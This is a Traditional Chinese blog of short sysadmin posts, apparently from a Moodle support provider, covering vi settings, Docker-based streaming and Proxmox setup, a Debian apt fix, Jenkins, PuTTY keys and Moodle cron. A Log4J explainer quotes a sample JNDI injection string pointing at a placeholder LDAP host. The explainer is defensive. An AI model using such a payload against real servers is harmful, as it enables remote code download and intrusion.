發表於 其它/一般

vi 編輯無法用滑鼠選取文字內容

我們常在 vi 內選取我們要的內容, 可能複製來記錄、下指令或其它用途;以往只要抓著滑鼠點選並拖曳就可以選取我們要的文字,但最近確出現,原本應該要多重選取的行為,在滑鼠推曳後變成捲動 vi 內文?

要解決這個方法有兩個:

vi mouse select failed.
  1. 在 vi 內下 :set mouse-=a 這個指令,但是每次進來 vi 都要下.
  2. 一勞永逸的作法是, 建立1個 ~/.vimrc 的檔案, 輸入: set mouse= 就可以了, 只個檔案如下:
set mouse=
set ttymouse=

如果要在整台 linux 都採用這個設定(global), 把相同內容寫在 /etc/vimrc 內即可。

發表於 Moodle

串流伺服器

  1. 請先準備一台可以跑docker 的主機
  2. 準備串流伺服器的空間
  3. 先跑 redis

Stream 空間

準備空間,實體位置,方便備份串流資料。
stream 下有 data 及 hls ,eg. /home/stream/data and /home/stream/hls

sudo mkdir -p /home/stream/data/tmp_uploads
sudo mkdir -p /home/stream/data/tmp_videos
sudo mkdir -p /home/stream/hls

安裝 redis


準備 redis 空間(方便以後備份資料庫)

sudo mkdir -p /home/stream/redisdata
docker run -d --name Toriredis --restart=always -v /home/stream/redisdata:/data redis redis-server --appendonly yes

安裝 Yakitory

從 docker hub 抓取 image


docker run -d --name Yakitory -e RACK_ENV=production -p80:80 -v /home/yakitory/data:/opt/yakitory/public/data -v /home/yakitory/hls:/opt/yakitory/public/hls --link Toriredis:redis moodletw/tory-sandbox2020:76

-p80:80 以 http 埠
-v 對應空間
–link 連 redis

開啟串流後台

瀏覽器開 VM IP 的 80, eg: http://34.81.42.35/ login

建立一個client

用 Create new 新增一個 client 給 Moodl 用 。

接下來就到 Moodle 安裝外掛(plugin) 來使用串流了。

發表於 Moodle

Proxmox6(lxc) + Docker

因為 Proxmox 的 LXC 己經是 container, 在發現有 portainer 時, 就不在需要用 Proxmox 建 VM、再安裝 Docker 當 HOST 的方式。

找一台 PVE 的主機,進入 debian 的 root 權限。

Prepare

apt-get update
apt-get dist-upgrade -y

Proxmox 沒訂閱更新看這裡.

安裝 Docker-CE

apt-get install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -

#以下這段要另外複製到 notepad 上再貼到 debian 執行(因為 new site 會加上一空白行)

apt-key fingerprint 0EBFCD88

接著進入 PVE55, PVE61

# $(lsb_release -cs) 就是 stretch or buster

add-apt-repository \
    "deb [arch=amd64] https://download.docker.com/linux/debian \
    $(lsb_release -cs)  \
    stable"

apt-get update

apt-get install -y docker-ce

docker ps

有看到 docker 列表就ok了。

發表於 Moodle

Log4J exploit (Log4J 弱點)-2021最後一件大事

因為詢問的太多,所以特別作一篇文章跟大家說明是什麼狀況

我們都知道 Log4J 是專門記錄 log(日誌)的,而在網站伺服器記錄log的流程如下圖。

一般的log 記錄

而目前的 Log4J 存在的弱點,有可能(請注意,是有可能) 遭遇攻擊的方式:
1. 偽造 http 的要求,如下圖,送出假的 agent,如: ${jndi:ldap://12.34.56.78/….}
2. 造成右邊的網站伺服器在處理log時,反而對外連到 12.34.56.78 這台主機。

(這裡為了讓大家理解,將實際減化許多)

被傳送惡意的攻擊字串

除了連到外面主機之外,也可以下載檔案。如此一來,能做的事就很多了;

eg.先下載一個執行檔,然後再執行它。

希望以上的說明,能幫助大家對這個問題的了解;因為 log4j 的使用範圍實在太廣了,相信這也是為什麼會讓大家特別重視的原因。如果您的Moodle同步教室還有問題,可以連絡我們,協助釐清問題。

發表於 Moodle

Debian: changed its ‘Suite’ value from ‘stable’ to ‘oldstable’?

最近的 debian 更新時,出現錯誤:

E: Repository 'http://security.debian.org/debian-security buster/updates InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
N: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Version' value from '10.1' to '10.10'
E: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository 'http://deb.debian.org/debian buster-updates InRelease' changed its 'Suite' value from 'stable-updates' to 'oldstable-updates'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.

輸入以下指令:

apt-get update --allow-releaseinfo-change

再下一次 update,就可以了。

發表於 Moodle

Jenkins 架構分享

有關 Jenkins 架構與名詞解釋:

Jenkins 採用的是 Master / Slave 模式:

Master

  • 排程工作 (Jobs)
  • 發送執行工作命令給 Slave
  • 監控所有 Slaves 與記錄執行結果
  • 也可以執行工作

Slave

  • 只負責執行 Master 發送過來的工作指令

Job / Project : 在 Jenkins 的世界這兩個意思是一樣的,指的是可被 Jenkins 控制/監控的任務

Slave/Node

  • 為了幫 Master 分擔
  • 在 Slave 上跑的獨立程式叫做 “Slave agent”
  • 當 Slave 在 Master 上註冊,Master就會開始分散負載給 Slave

Executor

  • 是一個獨立的 stream of builds,可以在一個 Node 平行處理
  • 一個 Node 可以有一個或多個 Executor

Build

  • 是其中一個 Project 的結果

Plugin

  • 就是外掛插件啦
  • 讓你的 Jenkins 擴充很多功能

發表於 Moodle

另外一種 ppk 的應用

延續前文-使用方法2:另外一種 ppk 的應用

前文提到將私鑰轉換為 PuTTY 可以用的 PPK, 這裡還有另外一個用法.

直接點選 ppk 檔案, Windows 右下角(Trayicon)就會有 icon ; 這時就可以直 putty 登入(這個方法也適用 WinSCP)

藍色電腦圖示.

發表於 Moodle

SSH key 轉存私鑰給 putty 使用

轉存私鑰到windows

從 ssh-keygen 產生的 id_rsa 複製到 Windows, 開啟 puttygen.exe (install by putty) 載入 id_dsa (私鑰)轉存個人電腦 (Parameters do not change)
Other article: https://faq.moodle.com.tw/2020/04/putty-moodle.html

使用方法1: 建立 putty sessoin

Putty 建立一個210.61.8.241的 sessionData->Auto-login username = rootSSH-Auth->Private key file = 剛轉存的私鑰

Data->Auto-login usernameSSH-Auth->Private Key記得Save Session!!

發表於 Moodle

Moodle VS. Cron

cron/排定的工作/排程執行

Moodle 的 cron 是重要內建功能,它是一支 PHP 的腳本程式;一個正常運作 Moodle 站台,Cron 正常在背景執行是必要條件。Moodle cron 腳本會在定時執行各種類型的工作。(— Moodle 3.5 Cron )

Linux cron

如果我們需要定期執行某些程式,在 Linux 作業系統最常見的方式,就是使用 cron 來幫忙管理例行性工作排程。Linux 的 cron是一支服務,會在特定時間內執行我們定義好的工作(就像 Windows 的排定工作)。Cron 排程的資料是存在 crontab 中,也就是說,設定好 crontab 設定檔之後,系統就會自動依照設定的時間,定期執行重複性的工作。contab 所設定的工作將會循環的一直進行下去! 可循環的週期可為分鐘、小時、每週、每月或每年等。crontab 除了可以使用指令執行外,亦可編輯 /etc/crontab 來支援。 (至於讓 crontab 可以生效的服務則是 crond 這個服務喔!  — 鳥哥的Linux 私房菜– 第十五章、例行性工作排程(crontab))

查看自己的 crontab

crontab -l

編輯 crontab 內容

crontab -e or vi /etc/crontab

範例

校時

00 0,12 * * * root /usr/sbin/ntpdate 140.134.3.21;hwclock -w

還有其它的 cron 範例 

Moodle cron

Moodle 利用 cron 的功能,執行各個模組需要定時完成的工作,例如:發送信件、更新報表數據、計算活動完度…等。

admin/cli/cron.php 是要給 cron 執行的 PHP 腳本

 (排程執行) 的重要性,並不輸給其它 Moodle 功能;但卻是最常被忽略的。Cron 在 Moodle 是一支 PHP 的腳本(script)程式,要讓 Moodle 正常運作,cron 必須要定時的在作業系統背景運行。(一定要把 cron 設定好,否則你的 Moodle 會不正常!)

IMPORTANT: Do not skip setting up the cron process on your server for your Moodle. Your site will not work properly without it

從 2.9 開始官方不建議從瀏覽器執行 cron 網頁(之前可以從網頁 admin/cron.php 直接執行)。一個指令就可以完成,crontab 就是你需要的指令。crontab 裡面的指令在 admin/cli/cron.php ;cli(command line interprter,就是命令/指令),以下試著用幾個步驟完成 cron 的設定…

1. 測試 PHP

首先,你必須要確定你的環境,在您的伺服器能用命令的方式,跑 Moodle提供 cron 的 PHP 腳本(.Moodle cron script);也就是下一步中,要設定在 crontab 內的命令(就是 admin/cli/cron.php)。請測試以下這段: 

php /var/www/html/moodle3/admin/cli/cron.php 

var/www/html/moodle3/要換成你的路徑。

# php /var/www/htom/moodle_taiwan/admin/cli/cron.php
Server Time: Wed, 05 Dec 2018 07:53:10 +0800
...以下省略

你應該會看到:

2. 編輯排程

編輯 /etc/crontab 檔案, 加入以下內容,並儲存:

*/5 * * * * apache php /var/www/html/moodle_taiwan/admin/cli/cron.php

/var/www/html/moodle_taiwan/要換成你的路徑。

時間/日期格式說明如下表:

分鐘小時星期執行身份指令
0~590~231~31 (29,30)1~120~6(0是星期日,6是星期六)帳號cron.php

vi /etc/crontab
*/5 代表每5分鐘執行一次(時間自己決定);apache 代表執行帳號;cron.php 就是脚本。

3. 檢查

設定好了,也要有執行的證據才能安心吧? 檢查 log , 查看有無 cron 執行的記錄.

tail -f /var/log/cron

# tail -f /var/log/cron
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Cron script completed correctly)
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Cron completed at 23:05:02. Memory used 56.4MB.)
Nov 28 23:05:02 MoodleTW CROND[1172]: (root) CMDOUT (Execution took 0.523513 seconds)
Nov 28 23:10:01 MoodleTW CROND[1569]: (root) CMD (php /var/www/html/moodle_taiwan/admin/cli/cron.php)
...

重點在 cron.php 有執行了.

done.


PS: 如果您是我們加值服務的客戶,/var/log/cron 沒有記錄,您可以下:

journalctl -xe

Dec 05 12:01:01 MoodleTW crond[3722]: (*system*) RELOAD (/etc/crontab)

在 crontab 儲存後就應該會看到 RELOAD /etc/crontab 這行;當然有看到 admin/cli/cron.php 就更加確定OK了。